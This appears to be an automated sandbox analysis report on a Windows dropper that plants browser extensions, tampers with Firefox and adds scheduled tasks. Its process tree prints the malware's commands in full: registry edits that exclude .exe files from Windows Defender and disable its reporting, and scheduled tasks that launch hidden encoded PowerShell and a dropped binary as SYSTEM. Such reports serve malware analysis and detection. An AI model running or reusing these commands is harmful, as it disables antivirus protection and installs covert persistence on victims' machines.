69dd5e0ff166b54e18128b90d2c55194995ef43bf8b30554eb25e43c50725bcc

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Install.exeoNShAWy.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	oNShAWy.exe

Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

5008 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
5008	rundll32.exe

Drops Chrome extension 3 IoCs

Processes:

oNShAWy.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	oNShAWy.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	oNShAWy.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\goiejopegncpjmocklmfiipofdbkhpic\1.0.0.0\manifest.json	oNShAWy.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

oNShAWy.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini oNShAWy.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	oNShAWy.exe

Drops file in System32 directory 31 IoCs

Processes:

oNShAWy.exepowershell.exeInstall.exeeegPKbX.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\48F3BB146086CEF37D471FBE460215C9	oNShAWy.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	oNShAWy.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	eegPKbX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	oNShAWy.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\48F3BB146086CEF37D471FBE460215C9	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	eegPKbX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	oNShAWy.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	oNShAWy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	oNShAWy.exe

Drops file in Program Files directory 14 IoCs

Processes:

oNShAWy.exe

description	ioc	process
File created	C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR\jOlGPaX.dll	oNShAWy.exe
File created	C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR\gUIfbmm.xml	oNShAWy.exe
File created	C:\Program Files (x86)\SfrSbxhXbhVCC\KbWZxKf.xml	oNShAWy.exe
File created	C:\Program Files (x86)\dWSjIMqfbdUn\AvZguIa.dll	oNShAWy.exe
File created	C:\Program Files (x86)\jFRyDUODU\jlBrCn.dll	oNShAWy.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	oNShAWy.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	oNShAWy.exe
File created	C:\Program Files (x86)\SfrSbxhXbhVCC\oOonmeG.dll	oNShAWy.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	oNShAWy.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	oNShAWy.exe
File created	C:\Program Files (x86)\oCfcnVibUgRU2\CjBJuWK.xml	oNShAWy.exe
File created	C:\Program Files (x86)\jFRyDUODU\AGdqfDr.xml	oNShAWy.exe
File created	C:\Program Files (x86)\oCfcnVibUgRU2\xjZlbBFrMCGnT.dll	oNShAWy.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	oNShAWy.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\ZfXrITCAwqWWdJVle.job	schtasks.exe
File created	C:\Windows\Tasks\bcMXixuPVnLBvIi.job	schtasks.exe
File created	C:\Windows\Tasks\kYTQWNyBMOqWrvtpH.job	schtasks.exe
File created	C:\Windows\Tasks\bNpHvRwEXzIclVjPnA.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3696	schtasks.exe
1336	schtasks.exe
3552	schtasks.exe
2476	schtasks.exe
2944	schtasks.exe
4692	schtasks.exe
4916	schtasks.exe
548	schtasks.exe
4656	schtasks.exe
3696	schtasks.exe
32	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeoNShAWy.exepowershell.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "3"	oNShAWy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2fb4ccdc-0000-0000-0000-d01200000000}\MaxCapacity = "15140"	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	oNShAWy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2fb4ccdc-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	oNShAWy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	oNShAWy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	oNShAWy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	oNShAWy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	oNShAWy.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXEoNShAWy.exe

pid	process
216	powershell.EXE
216	powershell.EXE
2020	powershell.exe
2020	powershell.exe
3736	powershell.exe
3736	powershell.exe
3672	powershell.EXE
3672	powershell.EXE
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe
3952	oNShAWy.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	216	powershell.EXE
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	3672	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exepowershell.EXEeegPKbX.exepowershell.execmd.exe

description	pid	process	target process
PID 4332 wrote to memory of 452	4332	file.exe	Install.exe
PID 4332 wrote to memory of 452	4332	file.exe	Install.exe
PID 4332 wrote to memory of 452	4332	file.exe	Install.exe
PID 452 wrote to memory of 4584	452	Install.exe	Install.exe
PID 452 wrote to memory of 4584	452	Install.exe	Install.exe
PID 452 wrote to memory of 4584	452	Install.exe	Install.exe
PID 4584 wrote to memory of 4972	4584	Install.exe	forfiles.exe
PID 4584 wrote to memory of 4972	4584	Install.exe	forfiles.exe
PID 4584 wrote to memory of 4972	4584	Install.exe	forfiles.exe
PID 4584 wrote to memory of 4928	4584	Install.exe	forfiles.exe
PID 4584 wrote to memory of 4928	4584	Install.exe	forfiles.exe
PID 4584 wrote to memory of 4928	4584	Install.exe	forfiles.exe
PID 4972 wrote to memory of 1744	4972	forfiles.exe	cmd.exe
PID 4972 wrote to memory of 1744	4972	forfiles.exe	cmd.exe
PID 4972 wrote to memory of 1744	4972	forfiles.exe	cmd.exe
PID 4928 wrote to memory of 4772	4928	forfiles.exe	cmd.exe
PID 4928 wrote to memory of 4772	4928	forfiles.exe	cmd.exe
PID 4928 wrote to memory of 4772	4928	forfiles.exe	cmd.exe
PID 4772 wrote to memory of 1620	4772	cmd.exe	reg.exe
PID 4772 wrote to memory of 1620	4772	cmd.exe	reg.exe
PID 4772 wrote to memory of 1620	4772	cmd.exe	reg.exe
PID 1744 wrote to memory of 1192	1744	cmd.exe	reg.exe
PID 1744 wrote to memory of 1192	1744	cmd.exe	reg.exe
PID 1744 wrote to memory of 1192	1744	cmd.exe	reg.exe
PID 1744 wrote to memory of 4120	1744	cmd.exe	reg.exe
PID 1744 wrote to memory of 4120	1744	cmd.exe	reg.exe
PID 1744 wrote to memory of 4120	1744	cmd.exe	reg.exe
PID 4772 wrote to memory of 3336	4772	cmd.exe	reg.exe
PID 4772 wrote to memory of 3336	4772	cmd.exe	reg.exe
PID 4772 wrote to memory of 3336	4772	cmd.exe	reg.exe
PID 4584 wrote to memory of 3696	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 3696	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 3696	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 2380	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 2380	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 2380	4584	Install.exe	schtasks.exe
PID 216 wrote to memory of 3160	216	powershell.EXE	gpupdate.exe
PID 216 wrote to memory of 3160	216	powershell.EXE	gpupdate.exe
PID 4584 wrote to memory of 1040	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 1040	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 1040	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 1336	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 1336	4584	Install.exe	schtasks.exe
PID 4584 wrote to memory of 1336	4584	Install.exe	schtasks.exe
PID 4116 wrote to memory of 2020	4116	eegPKbX.exe	powershell.exe
PID 4116 wrote to memory of 2020	4116	eegPKbX.exe	powershell.exe
PID 4116 wrote to memory of 2020	4116	eegPKbX.exe	powershell.exe
PID 2020 wrote to memory of 4488	2020	powershell.exe	cmd.exe
PID 2020 wrote to memory of 4488	2020	powershell.exe	cmd.exe
PID 2020 wrote to memory of 4488	2020	powershell.exe	cmd.exe
PID 4488 wrote to memory of 1528	4488	cmd.exe	reg.exe
PID 4488 wrote to memory of 1528	4488	cmd.exe	reg.exe
PID 4488 wrote to memory of 1528	4488	cmd.exe	reg.exe
PID 2020 wrote to memory of 3904	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 3904	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 3904	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 4724	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 4724	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 4724	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 1852	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 1852	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 1852	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 3932	2020	powershell.exe	reg.exe
PID 2020 wrote to memory of 3932	2020	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4332

C:\Users\Admin\AppData\Local\Temp\7zS69DA.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:452

C:\Users\Admin\AppData\Local\Temp\7zS6D16.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4584

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1744

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1192

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:4120

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:4928

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:4772

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1620

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:3336

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gLsIiRHQK" /SC once /ST 03:49:08 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:3696

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gLsIiRHQK"
4⤵
PID:2380

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gLsIiRHQK"
4⤵
PID:1040

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bNpHvRwEXzIclVjPnA" /SC once /ST 04:03:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\dMUiSaChFqmKilH\eegPKbX.exe\" hV /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
